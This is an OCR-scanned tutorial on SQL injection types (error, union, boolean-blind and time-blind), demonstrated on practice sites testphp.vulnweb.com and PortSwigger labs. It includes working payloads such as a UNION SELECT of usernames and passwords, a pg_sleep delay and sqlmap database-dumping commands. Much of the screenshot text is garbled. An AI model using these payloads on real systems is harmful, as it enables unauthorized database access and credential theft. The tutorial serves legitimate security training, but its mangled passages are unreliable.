SQL Injection

What is SQL? Explain with Example

SQL stands for Structured Query Language which is basically a language used by
databases.

This language allows to handle the information using tables and shows a language
to query these tables and other objects related views, functions, procedures, etc.

Most of the databases like SQL Server, Oracle, PostgreSQL, MySQL, MariaDB handle
this language with some extensions and variations to handle the data.

Some of The Most Important SQL Commands

B35 extracts data from a database
WDYNIE - updates data in a database

- deletes data from a database

inserts new data into a database

CREATE DATABASE . - -/ - - - oo -
ALTER DATABASE = - - i o <o ool -

CREATE TABLE S {-1ei o R R i) (o10] 5]

AN 1: @ r-\:-11F- modifies a table
DROP TABLE SGCEIEESCER Ele) 5

REATE INDEX SR<¢=YoI CURCTBT Te V@ EX-YeT0d W'D
DROP INDEX ZNeEES ERCT R e 95




What is SQL Injection Attack? explain in brief with diagram

SQL injection is a web security vulnerability that allows an attacker to interfere with
the queries that an application makes to its database.

In many cases, an attacker can modify or delete this data, causing persistent
changes to the application's content or behavior.

In some situations, an attacker can escalate an SQL injection attack to compromise
the underlying server or other back-end infrastructure, or perform a denial-of-
service attack.

How does SQL Injection works?

To make an SQL Injection attack, an attacker must first find vulnerable user inputs
within the web page or web application.

A web page or web application that has an SQL Injection vulnerability uses such
user input directly in an SQL query.

The attacker can create input content. Such content is often called a malicious
payload and is the key part of the attack.

After the attacker sends this content, malicious SQL commands are executed in the
database.

' UNION SELECT username, password FROM users--

SELECT name, description FROM products WHERE category
= 'Gifts' UNION SELECT username, password FROM users—-

........................ <
{ <« (% All passwords

& Allusernames ) <




Types of SQL Injection:

| SQL injection |

In-band SQLi

Cut-of-bound
SaLi

Blind SGLi

' |

| Error-based | | Union-based ]

' |

IEnoIean-basedl | Time-based I

In-band SQLi -

The attackers use the same communication channel to launch their attacks and
collect results.

In-band SQL Injection is the most common and easy-to-exploit of SQL Injection
attacks.

The two common types of in-band SQL injections are Error-based SQL injection
and Union-based SQL injection.

1. Error-based SQL injection —

Here, the attacker performs certain actions that cause the database to generate
error messages. Using the error message, you can identify what database it
utilizes, the version of the server where the handlers are located, etc.

Error-based SQLi is an in-band SQL Injection technique that relies on error
messages thrown by the database server to obtain information about the
structure of the database. In some cases, error-based SQL injection alone is
enough for an attacker to enumerate an entire database.
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Let's take an example for better understanding:
This is the vulnerable website: testphp.vulnweb.com

Let's begin!

THE CYBER SECURITY EXPERTS

< & A Not secure | testphpvulnweb.com/index.php

M acunetix

Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | your cart | guestbook | AJAX Demo

search art welcome to our page
Browse categories

Browse artists

Your cart

Signup

Your profile

Our guestbook

AJAX Demo

Test site for Acunetix WVS.

Links

Security art
PHP scanner
PHP vuin help
Fractal Explorer

About Us | Privacy Policy | Contact Us | Shop | HTTP Parameter Pollution

we have a search box over here which can be used as our injection point. Lets first
try to inject a simple search query.



e

& A Mot secure | testphp.vulnweb.com/search.php?test=query

M acunetix

search art

Acunetix Web Vulnerability Scanner

home | categories | artists  disclaimer | yourcart | guestbook | AJAX Demo

searched for: cybersapiens

[[=2]

Your cart
Signup

Links

Browse categories
Browse artists

Your profile
Our guestbook
AJAX Demo

Security art
PHP scanner
PHP vuln help
Fractal Explorer

Perfect! We are getting a reflection on the page and on the URL which is having a

parameter where test=query.

Now, as we know we can inject a malicious payload into the URL which may reflect
a SQL error if there is any SQL vulnerability. Let's try to inject a simple payload ' in

the URL where test=query.

C [m testphp.vulnweb.com_-"search.php

M acunetix

e | categories

rch art
]
vse categories
vse artists
rcart

lup

r profile
guestbook

X Demo

Acunetix Web Vulnerability Scanner

artists | disclaimer | yourcart | guestbook | AJAX Demo

Warning: mysgl_fetch_array() expects parameter 1 to be resource,
boolean given in /hj/var/www/search.php on line 61




Notice that there is a SQL error on the page, which means the payload got executed
successfully and the webpage is vulnerable to SQL injection attack.

2. Union-based SQL injection —
Here, the UNION SQL operator is used in combining the results of two or
more select statements generated by the database, to get a single HTTP

response. You can craft your queries within the URL or combine multiple
statements within the input fields and try to generate a response.

Let's take an example for better understanding: This is the vulnerable site below

https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-

number-of-columns

&« c 8 portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns

Web Security Academy > SQL injection > UNION attacks > Lab

Lab: SQL injection UNION attack, determining
the number of columns returned by the query

This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in
the application’'s response, so you can use a LUUNION attack to retrieve data from other tables. The first step of such an
attack is to determine the number of columns that are being returned by the query. You will then use this technigue in
subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing an SQL injection UNION
attack that returns an additional row containing null values.

Access the lab

Solution ~

)

(=)

)

(=

Community solutions ~

According to the question if there is SQL Injection attack it will return an additional
row containing null values.
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Let's Begin!

&« C & 0ab0003603da749cc04e20c200020010.web-security-academy.net Q &
H SQL injection UNION attack, determining the number of columns coved |3
Web SQCU[I_‘Z‘ returned by the query Gl totsoved |7

Academy %]

Home | My account

SHOP ~

All  Clothing, shoes and accessories Food & Drink  Lifestyle Pets  Toys & Games

Hologram Stand In $16.70 View details
Portable Hat 589.22 View details
Baby Minding Shoes 393,41 View details
Dancing In The Dark 51224 View details
Eggtastic, Fun, Food Eggeessories $50.70 View details
BBQ Suitcase §55.63 View details
Waterproof Tea Bags 33332 View details
Sprout More Brain Power 526.15 View details

There's No Place Like Gnome 2579 View details
Paint a rainbow FErE I View details
The Splash $31.06 View details
Hitch A Lift (LA View details

Pest Control Umbrella 52610 View details

Giant Grasshopper 58728 View details

This is the web page that contains all product category. Let’s go for Toys & Games
category page and let’s see what it returns.

< c @ 0ab0003603da749cc04e20c200020010.web-security-academy.net/filter? category=[loys+ Q P W

LAB | Mot solved

H SQAL injection UNION attack, determining the number of columns
WEb SQCU[I_t‘y returned by the query

Academy'+!
cemy

Home | My account

SHOP ~

Toys & Games

Al Clothing, shoes and accessories  Food & Drink  Lifestyle Pets  Toys & Games

Poo Head - It's not just an insult anymore. 55152
Adult Space Hopper 82517
What Do You Meme? 527.72
Potato Theater 524.20




Toys & Games category returned us with an url which has a parameter and there
are 4 products listed in the category. Now let’s start testing the URL.

Let’s first try with the simple payload _

&« c ] Oab0003603da?49cc04e20c20002001O.web—security—academy.net_sfiI'.er?categary:Toys—%26+Games':‘:’:ZD?'c?_T*2OU\JION‘-v'c?_GSELECTi-'aEO.H P = 3

LAB | Motsolved |

SQL injection UNION attack, determining the number of columns
WEb Securlty retumed by the query
Academy%]

Internal Server Error

Internal Server Error

This payload gave us an error which means that the number of nulls does not match
the number of columns therefore the database returned an error.

Let’s increase the number of Null _

&« C  EY https//0ab0003603da749cc04e20c200020010.web-security-academy.net/filter? category=Toys+%26+Games I\ul' UNION SELECT NULLNULL—

SQL injection UNION attack, determining the number of columns solved |1
Web Secunty returned by the query ) Mot solved |«
Academy%]

Back to lab home

Internal Server Error

Internal Server Error

It again gave us a error.

If the number of nulls does not match the number of columns, the database returns
an error, such as:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an
equal number of expressions in their target lists.

Let's try to increase the [ NIONISERECTNUNSNUNSNONES
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a a cc04e20c L.web-security-academy.net/filter?category=Pets% %20select? . ] -- 1=
&« (& 8 0ab0003603da749cc04e20c200020010.web i d ilter? Pets%2 JUNION%20select%20NULLNULLNULL: aQ ©» W

WEbSECUI"Ity %?U%Arggcg;o?hgmgxaltack‘ determining the number of columns ETEE
i
Academy %]

Congratulations, you solved the labl W Share your skills! | Conlinue leaming

Home | My account

WE LIKE TO Q
Pets'UNION select NULL,NULL,NULL--

Refine your search:

All  Clothing, shoes and accessories Food & Drink  Lifestyle Pets Toys & Games

Pest Control Umbrella 526.10 View details

Giant Grasshopper $87.28
Pet Experience Days 584.15

The Loz og 541.

SQL Injection attack was successful.
Inferential SQLi (Blind SQLi):

Inferential SQL Injection, unlike in-band SQLi, may take longer for an attacker to
exploit, however, it is just as dangerous as any other form of SQL Injection. In an
inferential SQLi attack, no data is actually transferred via the web application and
the attacker would not be able to see the result of an attack in-band (which is why
such attacks are commonly referred to as “blind SQL Injection attacks”).

Instead, an attacker is able to reconstruct the database structure by sending
payloads, observing the web application’s response and the resulting behavior of
the database server. The two types of inferential SQL Injection are Blind-boolean-
based SQLi and Blind-time-based SQLi.

1. Boolean-based (content-based) Blind SQLi:

Boolean-based SQL Injection is an inferential SQL Injection technique that
relies on sending an SQL query to the database which forces the application
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to return a different result depending on whether the query returns a TRUE
or FALSE result. Depending on the result, the content within the HTTP
response will change, or remain the same.

This allows an attacker to infer if the payload used returned true or false,
even though no data from the database is returned.

Let's take an example for better understanding:

This is the vulnerable website:

https://portswigger.net/web-security/sql-injection/blind/lab/conditional-
responses

&« [&] 8 portswigger.net/web-security/sql-injection/blind/lab-conditional-responses = T 1‘ - | L | Q

Web Security Academy > SQL injection > Blind » Lab
Lab: Blind SQL injection with conditional Track your progress
responses

p Leamning matenals:

0%
5 Las Not solved

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs Vuinerability labs:
an SQL query containing the value of the submitted cookie 8%

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a
"Welcome back” message in the page if the query returns any rows

Level progress:

The database contains a different table called usezs, with columns called username and password. You need to
exploit the blind SQL injection vulnerability to find out the password of the administrator user

To solve the lab, log in as the administrator user

In this lab we have to check for Welcome back message in the response.

Let's Begin!
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& C ://0a3500cb048a93b0c1 d80d970072006b.web-securlty-academy.netﬁﬁ\ter?categorytufestyie Q

WebSecurity Blind SQL injection with conditional responses B Notsoved |1

Acaderny(7] ISRy =

Home | Welcome back! | My account

SHOP ~~

Lifestyle

earch

Re

All  Accessories Clothing, shoes and accessories Gifts Lifestyle Pets

Paint a rainbow The Splash There's No Place Like Gnome Balance Beams

Here in the webpage when we select the category Lifestyle, we can clearly see the
parameter reflection in the URL page.

Let’s start our BrupSuite and reload the page.

/ {-' Request to https://0a3500cb048a%3b0c1 dB0d970072006b. web-security-academy.net:443 [34,246,129.62]

Forward Drop Intercept is on Action Cpen Browser
= - I - K

GET /filter?category=Lifestyle HTTP/1 1
Host: 0a3500ch048a93b0c1d80d970072006b web-security-academy net

Cookie: Trackingld=YexJkMLGtwIBhUIT; session=ILHIpMgABETSELOnbWmLACwoDl5hUS0EL

Cache-Control: max-age=0

Sec—Ch-Ua: " (Not (A:Brand";v="8", "Chromium",v="55"

Sec-Ch-Ua-Mobhile: 70

Sec-Ch-TUa-Platform: "Windows"

Upgrade-Insecure-Bequests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x£4) AppleWebKit/537.38 (KHTML, like Gecko) Chrome/55.0.4544.74 Safari/537.38

10 Accept: text/html,application/xhtultxml,application/xml;q=0.9,inage/avif,inage /webp,inage/apng,*/*;q=0.8,application/sigmed-exchange;v=h3;q=0.9
11 Sec—Fetch-Site: same-origin

Sec—Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

15 Referer: https://0a2500ch048a92b0cldB0dS7007200Ek . web-security-acadeny. net/

1 Accept-Encoding: gzip, deflate

17 Aepept-Language: en-GB,en-US:;g=0_9, en;q=08

12 Connection: close

A

W -

Here is the request we can see the cookie which contains Tracking Id. Let’s try to
modify it and check the response in the repeater tab.

Where Trackingld= Y6xJkMLGty)BhU; THHENDEEE

11
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Request Response
m Hex n = Raw Hex Render \n =
1 GET /filter?category=Lifestyle HTTP/L1.1 2 <section class="maincontainer"s
2 Host: 033500chi48a53b0c]dA0dST007005L urity-academy. net 43 <div class="container is-page"=
3 Cookie: |TrackingTd=YexJEMLGEyJBRUIT' AND '1'='1;| session= <header class='navigation-header"s

ILHopMqAETeEETrhVELEtwob L SRUSOET
Cache-Control: max-age=0

<section class="top-links"s
<a href=/>Hone

Sec—Ch-Ta: "iNot(A:Brand"; 8", "Chromium";w="53" </a»

£ Sec—Ch-Ua-Mobile: 7?0 <p>

7 Sec-Ch-Ta-Platform: "Windows" |

2 Upgrade-Insecure-Bequests: 1 </p>

5 User-Agent: Mozilla/s5.0 (Windows NT 10.0; Wing£4; xz&84) 47 <div>
AppleWebKit /537 36 (KHTML, like Gecko) Chrome/99 0 4844 74
Safari/E37.32E <fdiv>

10 Accept: <p>

text/htnl, application/xhtml+xnl, application/xnl; q=0.%, inage/avif, imnag |
e/webp, inage/apnyg, */*;q=0.8,application/signed-exchange;v=h3;q=0.9 </p>
Sec-Fetch-Site: same-origin 42 <a href="/my-account ">

12 Sec-Fetch-Mode: navigate My account
13 Sec—Fetch-User: 71 <far
Sec-Fetch-Dest: doocument <p>

Referer: |
https://0a2500ck04B8a93b0cldB0d9 70072006k . web-security-acadeny . net/ </p>

1% Accept-Encoding: gsip, deflate

17 Accept-Language: en-GB,en-US;g=0.9,en;q=0.8
12 Connection: close

<fsection~

<fheader>

<header class="notification-header">
</header>

<section class="ecoms-pageheader">
<img sre="/resources/images/shop.svg">
<fsection>
<section class="ecoms—pageheader"s
<hl>
Lifestyle
</hl>
<fsection>

<section class="search-filters">
<label>

Since here "1 = 1" condition is true we get Welcome Back! message in the response
tab.

Now lets change the payload where Trackingld= Y6xJkMLthJBhUjT_

< Target: hitps://0a3500cb048a33b0c1dB0d97

Request Response
m Hex n = Raw Hex Render n =
1 GET /filterleategory=Lifestyle HTTP/1.1 1 HTTE/1.1 200 OK
2 Host: 0a3500ch048a93b0c01d80d970072006b. web-security-acadeny . net 2 Content-Type: text/html; charset=ucf-8

Connection: close
Content-Length: 5055

w

Cookie: [Trackingld=TexdhMLGEydBRUIT" MD 'L'='5} session=
ILHZpMqAE T5Eh (nbWnLECwoDl SHUSOET

Cache-Control: max-age=0

Sec-Ch-Ta: " (Not (A:Brand";v="8", "Chromium";v="05"

<!DOCTYPE html>

Sec-Ch-TUa-Mobile: 20 7 <html®
Sec-Ch-TUa-Plat form: "Windows" 8 <heads
& Upgrade-Insecure-Requests: 1 5 <link href=/resources/labheader/css/acadenylabHeader.css rel=
S User-Agent: Mozillas5.0 (Windows NT 10.0; Win&4; x£4) stylesheet>
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4844.74 10 <link href=/resources/css/labsEcommerce.css rel=stylesheet>
Safaris537.38 11 <title>
10 Accept: AEEE;AFL0B; 68105, 88110, aFL00; 8830 883 888 88T, 88306810558
text/html,application/xhtml+xml, application/xml;q=0_9, image/avif,inag 110;6#106; 68101 ;6899 ; 68116;68105;68111;68110;6837;68119;68105;
& /uebp, image /apng, */*;q=0_8, application/signed-exchange ;v=h3;q=0_3 E§116;E#104;6$37; 6499; 68111 ;68110;#100;88105;c4116;64105; 811
11 Sec-Fetch-Site: same-origin Lefll0;eff97,;8f108, 8§32, 0114, 810164115, 8112, 0§111;cf110; 84
12 Sec-Fetch-Mode: navigate 115;&f101; 86115,
12 Bec-Fetch-User: ?1 </cicle>
14 Sec-Fetch-Dest: document 12 <fhead>
15 Referer: <body>

https: //0a3500ch048a93k0cld80d37007200€k . web-security-—acadeny . net/ <script sro="/resources/labheader/js/labHeader.js">
- Accept-Encoding: gsip, deflate </scripts
17 Accept-Language: en-GB,en-US;q=0.%,en;q=0.8 1
Comnection: close 16 <section class='acadenyLabBanner's=
17 <div class=container>
1] 13 <div class=logo>

<div id="academyLabHeader">

<fdiv>
<div class=title-containers
<hl®
Elind S0L injection with conditional responses
<fhlx

21 <a id='lab-link' eclass='button' href='/'>
Back to lab home
<jar
22 <a class=link-back href='

12
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Here we didn't get the Welcome Back message since "1 =2 " is a false condition.

2. Time-based Blind SQLi:
Time-based SQL Injection is an inferential SQL Injection technique that relies
on sending an SQL query to the database which forces the database to wait
for a specified amount of time (in seconds) before responding. The response
time will indicate to the attacker.

whether the result of the query is TRUE or FALSE. Depending on the result,
an HTTP response will be returned with a delay, or returned immediately.
This allows an attacker to infer if the payload used returned true or false,
even though no data from the database is returned.

Let's take an example for better understanding:
This is the vulnerable website:

https://portswigger.net/web-security/sqgl-injection/blind/lab-time-delays

& C .//portswigger.net/web-security/sgl-injection/blind/lab-time-delays

Products ~ | Solutions w Research Acadd

Academy Home Learning Path Latest Topics v All Labs Hall of Fame Getting Started G

f

T
s

T
o
(=}

L
o
k.
T

T
ws]

Lab: Blind SQL injection with time delays

N LAB Not solved

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs
an SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether
the query returns any rows or causes an error. However, since the query Is executed synchronously, it is possible to
trigger conditional time delays to infer information.

To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.

Acoording to the question given , to solve the lab we have to exploit the SQL
Injection vulnerability to cause a 10 second delay.

13



Let's Begin!

& C :,";"0293005003cf0415c09ba549003dOOD7.web-securltyAacademy.net,“?'iher?cstejo@'%CorporatevgwftsI QU 2 W

WEbSECUI"ity Blind SQL injection with time delays B ot soved |G

Academy | -

Home | My account

SHOP

Corporate gifts

All Clothing, shoes and accessories Corporate gifts Food & Drink Lifestyle Toys & Games

\ ‘
p, o’

Folding Gadgets The Giant Enter Key

When we load the webpage and go to the corporate gifts category page, we can
see there is a parameter in the URL. Let's try to reload the page and see the request
in the Burp Suite.

14
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/ A Request to https://0a%a005003cf0415c09bas49003d0007. web-security-academy.net:443 [34.246.125.62]

Farward Drop Intercept is on Action Cpen Browser
-8 n =

GET ffilter?category=Corporatetgifts HTTP/1.1

Host: 0a%a005003cf0415005bab4500340007 . web-securicy-acadeny. net

Cookie: Trackingld=5WsOEBEduKdOlEgVF; session=VOTkinPaVSlNEylnwixrS8HouDOiiacrl

Cache-Control: max—-age=0

Sec-Ch-Ua: " (ot (A:EBrand",v="8", "Chromium";w="95"

Sec-Ch-TUa-Mobile: 2?0

Sec-Ch-Ua-Plat form: "Windows"

Upgrade-Insecure-Regquests: 1

User—-Agent: Mozilla/s5.0 (Windows NT 10.0; Wingd; x64) AppleWebhFitc/537.36 (FHTML, like Gecko) Chrome/935.0.4
Accept: text/html,application/xhtml+txznl,application/zml;q=0.%, inage/avif, image/webp,inage/apnyg, */*;q=0.8, a
Sec-Fetch-5Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: dooument

RBeferer: https://0a%a005003cf0415c0%ba54900240007 . web-security-acadeny.net/
Accept-Encoding: gzip, deflate

17 Accept-Lancuage: en-GB,en-US;qgq=0.59,en;q=0_8

Connection: close

WO

1 & s

Here is the request we can see the cookie which contains Trackingld.Lets try to
modify it and check the response in the repeater tab.

Where Trackingld=5Ws08BdukdolKgVF | S ERSIcepiios

m Cance <v Target: https: web-security-academy.net g7 HTTP/1 @
Q==

Request Response

23 nex n B raw Hex Render \n =

1 GET /filter?eategory=Corporatetgifts HTTP/L 1 <img sre="/resources/images/ratingd.png'>

YOLI3dSNI

2 Host: 0a9a005003cf0415c05k 7. security-acadeny. net $74.60
2 lue:| Trackingld=SWsOSEduKdDlEgVF' | [py_sleep (10) | session= 80 <a elass="button" href="/product?productld=8">
VOTk fnD VS INRy TTaEET View details
ache-Control: max-age=0 </a>
—Ch-Ua: " (Mot (A:Brand , "Chromium" 5 </div>
sec—Ch-Ua-Mohile: 20 <div>

fec-Ch-Ua-Plat form: "Windows" <img sre="/image/productcatalog/products/s ipg">

¢ Upgrade-Insecure-Dequests: 1 54 <h3>
S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€d; xE4) AppleWebKit/537.35 Llike Com-Tool
Geclro) Chrome/S9.0.4844.74 Safari/§37.36 </h3s
10 Accept: 8 <img sre="/resources/images/ratingl png">
text/html,application/xhtnltxul, application/sunl;q=0.9,inage/avif, inage/webp, inags/apng, $11.78
*iq=0.8,application/signed-exchange v=h3;q=0.9 2 <a class="hutton' href="/product?productId=13">
sec—Fetch-Site: sams-origin View details

sec—Fetch-Hode: navigate
sec—Fetch-User: 71

sec—Fetch-Dest: document

= ferer: https://DaSa00S003cf0415c05ha! 7. £ net/

<imgwege="/image/productcatalog/products/58. Ipg">

1€ Accept-Enceding: gzip, deflate 51 <hz>
17 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 There is gapos;Ieapos; in Team

1% Connection: close </h3>

19 53 <img sre="/rescurce¥images/rating?.png">
20 $83.98

24 <a class="button" href="/pPaguctlproductld=18">
View details
<fa>
</div>
</sectiom>
<fdivs
</section>
<fdivs
</Body>
101 </html>

0 matches

@i «>

Dane

There was time delay of 10 seconds.
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Now let’s check without the payload.

Request Response

Pref Hex i) = Raw Hex  Render \n = z
1 GET /filterleategory=Corporatetqgifes HITP/L.1 1 HITP/1.1 200 OK ﬁ
2 Host: 0393005 0415209 7 ity y. et 2 Comtent-Type: text/html; charset=utf-G ]
3 Coolrie:[ Trackingld=SWs0EBAuKADIEGT]; session=VOTh fnPaVsLiRylnudnroHoub0iiar? 3 Commection: close =]
4 Cache-ConETal: man-age=0 4 Comtent-Length: G869 =
5 See—Ch-Ua: "(Wot (A:Brand";v="0", "Chromfms!;w="95" 5

¢ Sec—Ch-Ua-Mobile: 20 £ <IDOCTYPE htmls

7 See—Ch-Ua-Platform: "Windows" 7 <hemlr

2 Upgrade-Tnsecure-Requests: 1 <headr

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4) ApPraebKic/537.35 (KHTHL, like E] <link href=/resources/labheader/css/academylLabHeader css rel=stylesheet>

Gecko) Chrome/S5.0.4844.74 Safari/§37.38 10 <link href=/resources/ess/labsEcommerce.css rel=stylesheet>

10 Accept: 11 <titler

text/html,application/xhtnl+xml,application/xnl;q=0. 9, inage/avif, inageyughp, inage/apng, */ SHEE; £F106; #1058, £#110; £§100; 6§3T; 6 §63; cB6L; c§TE; a#37; 4#105; 4#110;54108;48101 ;5855 ;

*;q=0_8,application/signed-exchange ;v=h3;q=0. 9
11 Sec-Fetch-Site: same-origin

E#116;6#105;8F111;6¢110;6§32;ef119;a§105; cF11E;a#104;e#37;6¢118;68105;8#10%9;84101;4
#37;54100; 64101, c#108; 8697, 8121; 26115,

12 Sec-Fetch-Mode: navigate </uitler
13 Sec-Fetch-User: 271 </head>
14 Sec-Fetch-Dest: document <body»

15 Referer: https://0a%aD05003cf0415c09ba549003d0007. web-security-acadeny net/
16 Accept-Encoding: gzip, deflate

<script sre="/resources/labheader/js/labHeader js">

17 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 1s
12 Connection: close 16
1s 17
20 18

<ho>
Elind SQL injection with

</hI>

21 <a elass=link-back href='
https://pertswigger.net/web-security/sqlsipjection/blind/lab-tine-delays'>

22 Back&nbsp;tosnbsp; Labinbsp; deseript ioninbs)

23 <svg version=l.l id=Layer_L xmlns='http://uwww. We,org/I000/svg’ xmlns:xlink=

‘http://wew. w3 org/l999/kLink’ k=0px y=Opx viewBox™
enable-background='new 0 0 28 20' xml:space=preserve ti

24 <g>
®{§} &||=>|| Search 0 matches @@ & ||| | search

Done

The page got loaded without any delay.

&« C ={/0a9a005003cf0415c09ba549003d0007. web-security-academy.net/filter?category=Carporate + gifts Q

B

Web Security Blind SQL injection with time delays B
Academy/%] =

&

Congratulations, you solved the labl o Share your skills! | Continue leaming >

Heme | My account

SHOP ~

Corporate gifts

Out-of-band SQLi:

Out-of-band SQL Injection is not very common, mostly because it depends on
features being enabled on the database server being used by the web application.
Out-of-band SQL Injection occurs when an attacker is unable to use the same
channel to launch the attack and gather results. Out-of-band SQL Injection
techniques, offer an attacker an alternative to inferential time-based techniques,

16
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especially if the server responses are not very stable (making an inferential time-
based attack unreliable).

Voice Based SQL Injection: It is a SQL injection attack method that can be applied
in applications that provide access to databases with voice command. An attacker
could pull information from the database by sending SQL queries with sound.

SQL Injection Attack through sqlmap

sglmap is an open-source penetration testing tool that automates the process of
detecting and exploiting SQL injection flaws and taking over of database servers.

It can be downloaded from https://github.com/sglmapproject/sqlmap
Let's see with an example how to use sglmap:
So, let's test the vulnerable endpoint

http://testphp.vulnweb.com/artists.php?artist=1

The Syntax for the command is

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1%27 --dbs --random-
agent

to obey all applicab

*] starting @ 11:57:

10 HTTP User-Agent header value ' rv
4322 2.0 7; .NET CLR 3. 9; .NET CLR 3 ap. ta/txt/us

[ ] it appears that you have provided tainted parameter values ('artist=1'') with most likely leftover chars/statements from manual SQL inje

ction test(s) , always use only valid parameter values so sqlmap could be able to run properly

are you really sure that you want to continue (sqlmap could have problems)? [y/N] y

1 ] [INFO] testing connection to the target URL
1 [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests

[
[
L
t
(
L
[
[

][I esting for SQ o
it looks like the back-end DBMS is 'MySQ

r WAF/IPS) is droppi

17
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— - —
[INFO] GET parameter 'artist' is "MySQL UNION query (random number) - 1 to 20 columns'
[WARNING] in OR boolean-based injection cases, please consider usage of switch

Here we can see artist parameter is vulnerable. Let’s wait for SQL map to complete
its scanning.

] [CRITICAL) t t . sql
8 110 1 target URL 3 ars to e with lumns
[ [INFO] GET parameter i uery (random number) - 1 to 20 columns' injectable
[ [w ] in OR boolean-based injection cases, please consider usage of switch '—d ie' if you experience any problems during data retr
ieval

sqlmap identified the following injection point(s) with a total of 184 HTTP(s) requests:

Parameter: artist (G
Type: boo .
Title: OR b ea ased nd WHERE or HAVING clause (MySQL comment)
Payload: artis 178 OR 8164=8164%

Type: UNION query
SQL UNION q
artist=-130 ¥ AL (0x7 6a7171,0%x6570467a75475575556d4b776c4c505867724568 a5055436 706b554c42785a424c42,

] [1NFO] the back-end DBMS is MySQL
] [ERITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)

web r operating s x Ubuntu
web application technology: Pt .40, Nginx 1.19.0
back-end DBMS: MySQL Unkno
[ 11 1 hing d names
available databas [2]:
*] acuart
[*] information_schema

] fetched data logged to text files under

Perfect!!! Here is the result of SQLmap which shows that the URL is vulnerable to
SQL Injection Attack.

List information about Tables present in a particular Database:

Run: sqglmap -u http://testphp.vulnweb.com/artists.php?artist=1 --batch --
banner -D acuart --tables

: MySQL UNION ne number)

rtist=-1302 UNION Al ECT 4395,43 56d4b776c4C5 686C425a5350554364766. 5b554C427853424¢

the back-e

eprecationWarning: unknown is an invalid version and will not be supported in a fu

F0] fetched data logged to text fil

18
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List information about the columns of a particular table

Run: sglmap -u http://testphp.vulnweb.com/artists.php?artist=1 —batch —

banner -D acuart -T artists --columns

ON query (random number) -
5t=-1302 UNION ALL SELECT 4395 NCAT(9%71716a7171,0%6570467a75475575556d4b776¢c4c5058677245686C425a5a5055436

is MysaL
pkg_resources/__init__.py:116: PkgResourcesDeprecationWarning: unknown is an invalid version and will not be supported in a fu

ed data logged to text files under '/root/.local/share/s

[*] ending @ 12:14:38 /2022-08-20/

Severity of SQL Injection:

The severity of SQL Injection varies from P2 to P1 depending on what data is being
exposed and if are able to get the shell or not.

Impacts of SQL Injection:

Confidentiality: Since SQL databases generally hold sensitive data, loss of
confidentiality is a frequent problem with SQL Injection vulnerabilities.

Authentication: If poor SQL commands are used to check user names and
passwords, it may be possible to connect to a system as another user with no
previous knowledge of the password.

Authorization: If authorization information is held in a SQL database, it may be
possible to change this information through the successful exploitation of a SQL
Injection vulnerability.

Integrity: Just as it may be possible to read sensitive information, it is also possible
to make changes or even delete this information with a SQL Injection attack.
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